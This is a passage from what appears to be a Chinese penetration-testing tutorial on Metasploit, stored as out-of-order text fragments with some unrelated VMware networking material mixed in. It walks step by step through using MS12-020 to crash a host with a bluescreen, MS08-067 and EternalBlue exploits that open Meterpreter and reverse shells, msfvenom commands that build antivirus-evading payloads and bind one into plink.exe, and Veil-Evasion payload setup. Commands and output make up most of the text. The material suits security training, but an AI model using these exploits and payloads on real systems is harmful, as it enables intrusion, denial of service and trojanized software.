rdesktop no The client computer name to report during connection RDP_DOMAIN no The client domain name to report during connection RDP_USER no The username to report during connection. RHOSTS yes Target address, address range or CIDR identifier RPORT 3389 yes The target TCP port on which the RDP protocol response THREADS 1 yes The number of concurrent threads 输出的信息中显示了rdp_dos模块的所有选项。在以上信息中共包括4列，分别是Name（选项名称）、Current Setting（当前设置）、Required（是否必须设置）和Description（描述）。从输出的信息中可以看到，RHOSTS的必须配置选项还没有设置。 （4）设置RHOSTS选项。执行命令如下： msf5 exploit(test/ms08067) > set RHOSTS 192.168.1.10 RHOSTS => 192.168.1.10 从输出的信息中可以看到，已设置的目标主机地址为192.168.1.10。 未知 6.2 实施攻击 当渗透测试者成功找到或加载了可利用漏洞的攻击模块后，即可实施攻击。本节将通过几个具体的实例讲解具体的攻击流程。"},
    {"text": "未知 1.5.1 NAT模式 NAT是Network Address Translation的缩写，即网络地址转换。NAT模式也是VMware创建虚拟机的默认网络连接模式。在NAT模式中，让虚拟机借助NAT功能，通过宿主机器所在的网络来访问公网。这里的宿主机相当于有两个网卡，一个是真实网卡，一个是虚拟网卡。真实网卡连接了真实路由器；而宿主机的虚拟网卡相当于连接了一个虚拟交换机（这个虚拟交换机同时连接了虚拟机和宿主机）。 这个时候的虚拟网络想访问外网，就必须通过宿主机的IP地址，而外面看来也确实是宿主机的IP地址（实际是虚拟机访问），完全看不到虚拟网络局域的内部形式。此时，虚拟机、宿主机和虚拟交换机形成一个网段，宿主机和真实路由形成一个网段。在该模式下，虚拟机可以和宿主机互相访问，也能访问宿主机所在网络的其他计算机，可访问外部网络。其中，NAT模式的网络拓扑如图1.36所示。 图1.36 NAT模式的网络拓扑示意图 如果用户只希望虚拟机之间能够互相访问，并且都可以访问外网的话，建议使用NAT模式。在虚拟机的菜单栏依次选择“虚拟机”|“设置”命令，打开“虚拟机设置”对话框。然后在“设备”列选择“网络适配器”选项，如图1.37所示。 图1.37 设置网络连接方式 从右侧的网络连接部分可以看到，用户可以指定的连接方式有桥接模式、NAT模式和仅主机模式。这里将使用NAT模式。选择“NAT模式(N):用于共享主机的IP地址”单选按钮，并单击“确定”按钮，则网络配置成功。"},
    {"text": "未知 6.2.1 利用MS12-020漏洞 MS12-020全称为Microsoft Windows远程桌面协议RDP远程代码执行漏洞。RDP协议是一个多通道的协议，可以让用户连上提供微软终端机服务的计算机。Windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，从而可以使系统执行任意代码，进而控制系统。通过利用MS12-020漏洞，可以使目标出现蓝屏。下面将介绍利用MS12-020漏洞实施渗透测试的方法。 【实例6-6】 利用MS12-020漏洞实施渗透测试。具体操作步骤如下： （1）搜索ms12-020漏洞模块。执行命令如下： msf5 > search ms12-020 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ 2012-03-16 normal No MS12-020 Microsoft Remote windows/rdp/ms12_ Desktop Use-After 020_maxchannelids -Free DoS 1 auxiliary/ normal Yes MS12-020 Microsoft scanner/rdp/ms12 Remote Desktop _020_check Checker 从输出的信息中可以看到，找到了两个匹配的模块。其中，第一个模块用于实施漏洞利用；第二个模块用来实施漏洞扫描检测。为了提供渗透测试效率，在利用漏洞之前，首先使用auxiliary/scanner/rdp/ms12_020_check模块对目标进行漏洞扫描，看是否存在MS12-020漏洞。 （2）加载ms12_020_check模块。执行命令如下： msf5 > use auxiliary/scanner/rdp/ms12_020_check msf5 auxiliary(scanner/rdp/ms12_020_check) > （3）查看模块配置选项。执行命令如下： msf5 auxiliary(scanner/rdp/ms12_020_check) > show options Module options (auxiliary/scanner/rdp/ms12_020_check): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3389 yes Remote port running RDP (TCP) THREADS 1 yes The number of concurrent threads 以上输出信息共显示了4列信息，分别是Name（名称）、Current Setting（当前设置）、Required（需要）和Description（描述）。如果Required列的值为yes，表示必须设置该选项；如果为no，则可以不设置。因此，对于必须配置的选项，用户必须设置。另外，一些参数已经配置了默认设置，大部分情况下这些默认设置是不需要修改的。从显示的结果中可以看到，还有一个必须设置选项即RHOSTS选项没有设置。 （4）配置RHOSTS选项，指定目标主机地址。执行命令如下： msf5 auxiliary(scanner/rdp/ms12_020_check) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 从输出的信息中可以看到，已设置RHOSTS选项值为192.168.1.5。 （5）实施漏洞扫描测试。执行命令如下： msf5 auxiliary(scanner/rdp/ms12_020_check) > exploit [+] 192.168.1.5:3389 - 192.168.1.5:3389 - The target is vulnerable. [*] 192.168.1.5:3389 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到，目标主机存在漏洞（加粗信息）。接下来使用auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块对该目标主机实施攻击。 （6）加载漏洞利用模块ms12_020_maxchannelids。执行命令如下： msf5 auxiliary(scanner/rdp/ms12_020_check) > use auxiliary/dos/windows/ rdp/ms12_020_maxchannelids msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > （7）查看模块配置选项。执行命令如下： msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show options Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3389 yes The target port (TCP) 从输出的信息中可以看到，有一个必须配置选项RHOSTS还没有设置，其用来指定目标主机地址。 （8）配置RHOSTS选项。执行命令如下： msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 （9）实施攻击。执行命令如下： msf5 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > exploit [*] Running module against 192.168.1.5 [*] 192.168.1.5:3389 - 192.168.1.5:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS [*] 192.168.1.5:3389 - 192.168.1.5:3389 - 210 bytes sent [*] 192.168.1.5:3389 - 192.168.1.5:3389 - Checking RDP status... [+] 192.168.1.5:3389 - 192.168.1.5:3389 seems down [*] Auxiliary module execution completed 输出的信息提示目标主机seems down，即目标主机关机。此时，将发现目标主机出现蓝屏，如图6.4所示。 图6.4 目标主机出现蓝屏 （10）看到目标主机出现蓝屏现象，则表示对目标主机攻击成功。"},
    {"text": "使用该通道作为攻击载荷，能够获得目标系统的一个Meterpreter Shell的链接，然后在Meterpreter会话中可以执行很多的操作，如添加用户、获取用户密码、上传/下载文件等。"},
    {"text": "具体操作步骤如下： （1）启动MSF控制终端。 执行命令如下： root@daxueba:~# msfconsole msf5 > 看到命令行提示符显示为msf5>，说明已成功启动MSF控制终端。"},
    {"text": "（2）搜索MS08_067漏洞模块。 执行命令如下： msf5 > search MS08_067 #搜索漏洞模块 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/ 2008-10-28 great Yes MS08-067 Microsoft Server smb/ms08_067_netapi Service Relative Path Stack Corruption 输出的信息共包括6列，分别为#（模块编号）、Name（模块名称）、Disclosure Date（发布日期）、Rank（级别）、Check（是否支持检测）和Description（描述）。 从显示的信息中可以看到，漏洞模块的完整路径名称为exploit/windows/smb/ms08_067_netapi，并且支持用户对目标进行检测。"},
    {"text": "（3）加载exploit/windows/smb/ms08_067_netapi模块。 执行命令如下： msf5 > use exploit/windows/smb/ms08_067_netapi #加载模块 msf5 exploit(windows/smb/ms08_067_netapi) > 从命令行提示符可以看到，显示为msf5 exploit(windows/smb/ms08_067_netapi)>，表示模块加载成功。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting 以上输出信息共显示了4列信息，分别是Name（名称）、Current Setting（当前设置）、Required（需要）和Description（描述）。"},
    {"text": "从显示的结果中可以看到，还有一个必须设置选项即RHOSTS选项没有设置。 （5）设置RHOSTS选项。 执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 从输出的信息中可以看到，已设置RHOSTS选项值为192.168.1.5。"},
    {"text": "例如，这里将加载名为windows/meterpreter/reverse_tcp的Payload。 执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/ reverse_tcp payload => windows/meterpreter/reverse_tcp 从输出的信息中可以看到，成功指定了Payload。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): #模块选项 Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.1.5 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): #Payload配置选项 Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: #利用的目标 Id Name -- ---- 0 Automatic Targeting 输出的信息包括模块选项、Payload选项和利用的目标三部分。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.4 #指定本地主机地址 LHOST => 192.168.1.4 从以上输出信息中可以看到，成功配置了LHOST选项。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows 2003 SP0 Universal 4 Windows XP SP2 English (AlwaysOn NX) 5 Windows XP SP2 English (NX) 6 Windows XP SP3 English (AlwaysOn NX) 7 Windows XP SP3 English (NX) 8 Windows XP SP2 Arabic (NX) …//省略部分内容 65 Windows 2003 SP2 German (NO NX) 66 Windows 2003 SP2 German (NX) 67 Windows 2003 SP2 Portuguese - Brazilian (NX) 68 Windows 2003 SP2 Spanish (NO NX) 69 Windows 2003 SP2 Spanish (NX) 70 Windows 2003 SP2 Japanese (NO NX) 71 Windows 2003 SP2 French (NO NX) 72 Windows 2003 SP2 French (NX) 以上输出信息共包括两列，分别为Id（编号）列和Name（系统名称）列。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.1.5 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 6 Windows XP SP3 English (AlwaysOn NX) 从输出的信息中可以看到，所有的选项都已配置完成。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > check [+] 192.168.1.5:445 - The target is vulnerable. 从输出的信息可以看到，目标主机存在漏洞。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms08_067_netapi) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 [*] 192.168.1.5:445 - Attempting to trigger the vulnerability... [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 1 opened (192.168.1.4:4444 -> 192.168.1.5:1036) at 2019-08-23 17:43:24 +0800 meterpreter > 从输出的信息中可以看到，命令行提示符显示为meterpreter>。"},
    {"text": "未知 6.2.3 永恒之蓝漏洞 永恒之蓝（Eternalblue）漏洞通过TCP端口445和139，利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows主机，无须用户任何操作，只要开机上网，不法分子就能在计算机和服务器中植入勒索软件、远程控制木马等恶意程序。"},
    {"text": "具体操作步骤如下： （1）查询可利用MS17_010漏洞的渗透测试模块。 执行命令如下： msf5 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/ 2017-03-14 normal Yes MS17-010 EternalRomance/ admin/smb/ms17_ EternalSynergy/ 010_command EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/ normal Yes MS17-010 SMB RCE Detection smb/smb_ms17_010 2 exploit/windows/ 2017-03-14 average No MS17-010 EternalBlue SMB smb/ms17_010_ Remote Windows Kernel eternalblue Pool Corruption 3 exploit/windows/ 2017-03-14 average No MS17-010 EternalBlue SMB smb/ms17_010_ Remote Windows Kernel eternalblue_win8 Pool Corruption for Win8+ 4 exploit/windows/ 2017-03-14 normal No MS17-010 EternalRomance/ smb/ms17_010 EternalSynergy/ _psexec EternalChampion SMB Remote Windows Code Execution 从输出的信息中可以看到，找到了5个可使用的渗透测试模块。"},
    {"text": "通过分析描述信息可知，exploit/windows/smb/ms17_010_eternalblue是一个MS17_010漏洞利用模块。 由于exploit/windows/smb/ms17_010_eternalblue模块不支持漏洞检测，为了提高渗透效率，在利用漏洞之前可以使用auxiliary/scanner/smb/smb_ms17_010进行漏洞检测。 （2）加载auxiliary/scanner/smb/smb_ms17_010模块，对目标实施漏洞检测。 执行命令如下： msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > 看到以上输出信息，则表示成功加载了auxiliary/scanner/smb/smb_ms17_010模块。 （3）查看auxiliary/scanner/smb/smb_ms17_010模块配置选项。 执行命令如下： msf5 auxiliary(scanner/smb/smb_ms17_010) > show options Module options (auxiliary/scanner/smb/smb_ms17_010): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /opt/metasploit- yes List of named pipes to check framework/embedded/ framework/data/ wordlists/named_ pipes.txt RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads 以上输出信息显示了当前模块的所有配置选项。"},
    {"text": "执行命令如下： msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.6 RHOSTS => 192.168.1.6 从输出的信息中可以看到，指定扫描的目标主机地址为192.168.1.6。"},
    {"text": "执行命令如下： msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit [+] 192.168.1.6:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7600 x64 (64-bit) [*] 192.168.1.6:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 从输出的信息中可以看到，目标主机中存在MS17_010漏洞。"},
    {"text": "（6）加载漏洞利用模块exploit/windows/smb/ms17_010_eternalblue。 执行命令如下： msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_ 010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > 看到以上输出信息，则表示成功加载了exploit/windows/smb/ms17_010_eternalblue模块。"},
    {"text": "（7）加载名为generic/shell_reverse_tcp的Payload，以获取Shell会话。 执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload generic/shell_ reverse_tcp payload => generic/shell_reverse_tcp 从输出的信息中可以看到，成功加载了Payload。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ true yes Check if remote architecture ARCH matches exploit Target. VERIFY_ true yes Check if remote OS matches TARGET exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs 从输出的信息中可以看到所有的配置选项参数。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.6 #指定目标主机地址 RHOSTS => 192.168.1.6 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.4 #指定本地主机地址 LHOST => 192.168.1.4 从输出的信息中可以看到，成功配置了必须的配置选项。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 [+] 192.168.1.6:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7600 x64 (64-bit) [*] 192.168.1.6:445 - Connecting to target for exploitation. [+] 192.168.1.6:445 - Connection established for exploitation. [+] 192.168.1.6:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.6:445 - CORE raw buffer dump (38 bytes) [*] 192.168.1.6:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 192.168.1.6:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris [*] 192.168.1.6:445 - 0x00000020 65 20 37 36 30 30 e 7600 [+] 192.168.1.6:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.6:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.6:445 - Sending all but last fragment of exploit packet [*] 192.168.1.6:445 - Starting non-paged pool grooming [+] 192.168.1.6:445 - Sending SMBv2 buffers [+] 192.168.1.6:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.6:445 - Sending final SMBv2 buffers. [*] 192.168.1.6:445 - Sending last fragment of exploit packet! [*] 192.168.1.6:445 - Receiving response from exploit packet [+] 192.168.1.6:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.6:445 - Sending egg to corrupted connection. [*] 192.168.1.6:445 - Triggering free of corrupted buffer. [*] Command shell session 1 opened (192.168.1.4:4444 -> 192.168.1.6:51109) at 2019-09-06 18:52:24 +0800 [+] 192.168.1.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-==-=-=-= [+] 192.168.1.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= C:\\Windows\\system32> 从输出的信息中可以看到，成功获取一个Shell会话，而且命令行提示符显示为C:\\Windows\\system32>。"},
    {"text": "未知 6.3 使用攻击载荷 攻击载荷是用户希望目标系统在被渗透攻击之后去执行的代码。如果用户没有扫描到目标主机中可利用的漏洞时，则可以手动创建攻击载荷并上传到目标主机中进行执行，然后即可使用该攻击载荷来控制目标主机。本节将介绍使用msfvenom和veil工具创建攻击载荷的方法。 未知 6.3.1 使用msfvenom工具 msfvenom是一个攻击载荷生成器。用户使用该工具可以生成各种的ShellCode，如C、Python和exe等。而且通过指定编码格式及多次编码，还可以规避杀毒软件。msfvenom工具的语法格式如下： msfvenom [options] <var=val> msfvenom工具中常用的命令选项及含义如下： ·-l：列出指定类型的所有模块。其中，可指定的类型包括payloads、encoders、nops、platforms、archs、formats和all。 ·-p：指定使用的Pyaload（有效载荷）。 ·-e：指定编码格式。 ·-a：指定系统架构，默认是x86。 ·--platform：指定Payload的目标操作系统平台。 ·-b：替换代码中出现中断的字符，如'\\x00\\xff'。 ·-s：指定Payload的最大大小。 ·-x：指定一个可执行程序，将payload捆绑其中。 ·-k：针对-x中的捆绑程序，将创建新线程执行payload。一般情况下，-x和-k选项一起使用。 ·-i：指定编码次数。 ·-f：指定生成的文件格式，如exe、raw、elf、jar、c和python等。 ·-o：指定Payload的保存路径，包含文件名。 【实例6-9】 使用msfvenom生成一个用于控制Windows x86架构的攻击载荷。执行命令如下： root@daxueba:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192. 168.1.8 --platform windows -a x86 -e x86/shikata_ga_nai -i 20 -f exe -o /root/msf.exe Found 1 compatible encoders Attempting to encode payload with 20 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 368 (iteration=0) x86/shikata_ga_nai succeeded with size 395 (iteration=1) x86/shikata_ga_nai succeeded with size 422 (iteration=2) x86/shikata_ga_nai succeeded with size 449 (iteration=3) x86/shikata_ga_nai succeeded with size 476 (iteration=4) x86/shikata_ga_nai succeeded with size 503 (iteration=5) x86/shikata_ga_nai succeeded with size 530 (iteration=6) x86/shikata_ga_nai succeeded with size 557 (iteration=7) x86/shikata_ga_nai succeeded with size 584 (iteration=8) x86/shikata_ga_nai succeeded with size 611 (iteration=9) x86/shikata_ga_nai succeeded with size 638 (iteration=10) x86/shikata_ga_nai succeeded with size 665 (iteration=11) x86/shikata_ga_nai succeeded with size 692 (iteration=12) x86/shikata_ga_nai succeeded with size 719 (iteration=13) x86/shikata_ga_nai succeeded with size 746 (iteration=14) x86/shikata_ga_nai succeeded with size 773 (iteration=15) x86/shikata_ga_nai succeeded with size 800 (iteration=16) x86/shikata_ga_nai succeeded with size 827 (iteration=17) x86/shikata_ga_nai succeeded with size 854 (iteration=18) x86/shikata_ga_nai succeeded with size 881 (iteration=19) x86/shikata_ga_nai chosen with final size 881 Payload size: 881 bytes Final size of exe file: 73802 bytes Saved as: /root/msf.exe 从以上输出的信息中可以看到，成功使用x86/shikata_ga_nai编码器创建了一个攻击载荷，该攻击载荷的文件为msf.exe。 【实例6-10】 生成一个Windows x64架构的攻击载荷。执行命令如下： root@daxueba:~# msfvenom -p windows/x64/meterpreter/bind_tcp --platform windows -a x64 RHOST=192.168.1.8 -f exe -o /root/back.exe No encoder or badchars specified, outputting raw payload Payload size: 496 bytes Final size of exe file: 7168 bytes Saved as: /root/back.exe 从输出的信息中可以看到，成功将生成的攻击载荷保存为back.exe可执行文件。 【实例6-11】 将生成的攻击载荷绑定到plink.exe可执行程序上。执行命令如下： root@daxueba:~# msfvenom -p windows/meterpreter/reverse_http --platform windows -a x86 LHOST=192.168.1.4 LPORT=3333 -x /usr/share/windows-binaries/ plink.exe -k -f exe -o /root/putty_bind.exe No encoder or badchars specified, outputting raw payload Payload size: 454 bytes Final size of exe file: 317440 bytes Saved as: /root/putty_bind.exe 从输出的信息中可以看到，成功将生成的攻击载荷保存为putty_bind.exe。"},
    {"text": "执行命令如下： root@daxueba:~# veil ======================================================================= Veil (Setup Script) | [Updated]: 2018-05-08 ====================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ====================================================================== os = kali osversion = 2019.3 osmajversion = 2019 arch = x86_64 trueuser = root userprimarygroup = root userhomedir = /root rootdir = /usr/share/veil veildir = /var/lib/veil outputdir = /var/lib/veil/output dependenciesdir = /var/lib/veil/setup-dependencies winedir = /var/lib/veil/wine winedrive = /var/lib/veil/wine/drive_c gempath = Z:\\var\\lib\\veil\\wine\\drive_c\\Ruby187\\bin\\gem [I] Kali Linux 2019.3 x86_64 detected... [?] Are you sure you wish to install Veil? Continue with installation? ([y]es/[s]ilent/[N]o): y 以上输出信息显示了当前操作系统的基本信息及Veil工具所有文件的安装位置。"},
    {"text": "执行命令如下： [*] Pulling down binary dependencies [*] Empty folder... git cloning 正克隆到 '/var/lib/veil/setup-dependencies'... remote: Enumerating objects: 12, done. remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12 展开对象中: 100% (12/12), 完成. 正在检出文件: 100% (10/10), 完成. [*] Installing Wine #安装Wine [*] Adding i386 architecture to x86_64 system for Wine [*] Updating APT [*] Installing Wine 32-bit and 64-bit binaries (via APT) 正在从软件包中解出模板：100% 正在预设定软件包 ... (正在读取数据库 ... 系统当前共安装有 465568 个文件和目录。"},
    {"text": "在该过程中，将会以图形界面方式依次安装Python 3.4.4、pywin32-220、pycrypto-2.6.1、Ruby 1.8.7-p371和Autolt v3.3.14.2软件。 其中，首先弹出的安装对话框是Pythons 3.4.4，如图6.5所示。"},
    {"text": "图6.5 欢迎对话框 图6.6 选择安装位置 （3）单击Next按钮，将进入自定义Python程序包对话框，如图6.7所示。 （4）单击Next按钮，将进入Python安装完成对话框，如图6.8所示。 图6.7 自定义Python 图6.8 安装完成 （5）单击Finish按钮，将进入Pywin32的安装对话框，如图6.9所示。"},
    {"text": "（6）单击“下一步”按钮，将进入安装位置对话框，如图6.10所示。 图6.9 设置对话框 图6.10 安装位置 （7）单击“下一步”按钮，将进入准备安装对话框，如图6.11所示。"},
    {"text": "安装完成后，将进入安装完成对话框，如图6.12所示。 （9）单击“结束”按钮，将进入pycrypto的安装对话框，如图6.13所示。 （10）单击“下一步”按钮，将进入安装位置选择对话框，如图6.14所示。 （11）单击“下一步”按钮，将进入准备安装对话框，如图6.15所示。 （12）单击“下一步”按钮，将开始安装pycrypto程序。 安装完成后，显示如图6.16所示的对话框。 图6.11 准备安装 图6.12 安装完成 图6.13 欢迎对话框 图6.14 选择安装位置 图6.15 准备安装 图6.16 安装完成 （13）单击“结束”按钮，将进入选择设置语言对话框，如图6.17所示。 （14）这里使用默认的语言English，单击OK按钮，将进入安装Ruby的许可协议对话框，如图6.18所示。 图6.17 选择设置语言 图6.18 许可协议 （15）选择I accept the License单选按钮，并单击Next按钮，将进入选择安装文件对话框，如图6.19所示。 （16）这里使用默认设置，单击Install按钮，将开始安装Ruby程序。"},
    {"text": "图6.19 选择安装位置 图6.20 安装完成 （17）单击Finish按钮，将进入Autolt的欢迎对话框，如图6.21所示。 （18）单击Next按钮，将进入安装Autolt程序的许可协议对话框，如图6.22所示。"},
    {"text": "此时将看到如下信息： [I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option [I] Done! 从输出的信息中可以看到显示为Done，表示初始化完成。"},
    {"text": "执行命令如下： root@daxueba:~# veil ======================================================================= Veil | [Version]: 3.1.12 ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= Main Menu #主菜单 2 tools loaded Available Tools: #有效的工具 1) Evasion 2) Ordnance Available Commands: #有效的命令 exit Completely exit Veil info Information on a specific tool list List available tools options Show Veil configuration update Update Veil use Use a specific tool Veil>: 从输出的信息中可以看到，命令行提示符为Veil>。"},
    {"text": "执行命令如下： Veil>: use Evasion ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= Veil-Evasion Menu 41 payloads loaded Available Commands: back Go to Veil's main menu checkvt Check VirusTotal.com against generated hashes clean Remove generated artifacts exit Completely exit Veil info Information on a specific payload list List available payloads use Use a specific payload Veil/Evasion>: 从输出的信息中可以看到，该工具加载了41个攻击载荷。 （3）查看Evasion工具支持的攻击载荷，执行命令如下： Veil/Evasion>: list ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= [*] Available Payloads: 1) autoit/shellcode_inject/flat.py 2) auxiliary/coldwar_wrapper.py 3) auxiliary/macro_converter.py 4) auxiliary/pyinstaller_wrapper.py 5) c/meterpreter/rev_http.py 6) c/meterpreter/rev_http_service.py 7) c/meterpreter/rev_tcp.py 8) c/meterpreter/rev_tcp_service.py 9) cs/meterpreter/rev_http.py 10) cs/meterpreter/rev_https.py 11) cs/meterpreter/rev_tcp.py 12) cs/shellcode_inject/base64.py 13) cs/shellcode_inject/virtual.py 14) go/meterpreter/rev_http.py 15) go/meterpreter/rev_https.py 16) go/meterpreter/rev_tcp.py 17) go/shellcode_inject/virtual.py 18) lua/shellcode_inject/flat.py 19) perl/shellcode_inject/flat.py 20) powershell/meterpreter/rev_http.py 21) powershell/meterpreter/rev_https.py 22) powershell/meterpreter/rev_tcp.py 23) powershell/shellcode_inject/psexec_virtual.py 24) powershell/shellcode_inject/virtual.py 25) python/meterpreter/bind_tcp.py 26) python/meterpreter/rev_http.py 27) python/meterpreter/rev_https.py 28) python/meterpreter/rev_tcp.py 29) python/shellcode_inject/aes_encrypt.py 30) python/shellcode_inject/arc_encrypt.py 31) python/shellcode_inject/base64_substitution.py 32) python/shellcode_inject/des_encrypt.py 33) python/shellcode_inject/flat.py 34) python/shellcode_inject/letter_substitution.py 35) python/shellcode_inject/pidinject.py 36) python/shellcode_inject/stallion.py 37) ruby/meterpreter/rev_http.py 38) ruby/meterpreter/rev_https.py 39) ruby/meterpreter/rev_tcp.py 40) ruby/shellcode_inject/base64.py 41) ruby/shellcode_inject/flat.py Veil/Evasion>: 从输出的信息中可以看到支持的所有攻击载荷。"},
    {"text": "执行命令如下： Veil/Evasion>: use cs/meterpreter/rev_tcp.py ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= Payload Information: Name: Pure C# Reverse TCP Stager Language: cs Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcode Payload: cs/meterpreter/rev_tcp selected Required Options: Name Value Description ---- ----- ----------- COMPILE_TO_EXE Y Compile to an executable DEBUGGER X Optional: Check if debugger is attached DOMAIN X Optional: Required internal domain EXPIRE_PAYLOAD X Optional: Payloads expire after \"Y\" days HOSTNAME X Optional: Required system hostname INJECT_METHOD Virtual Virtual or Heap 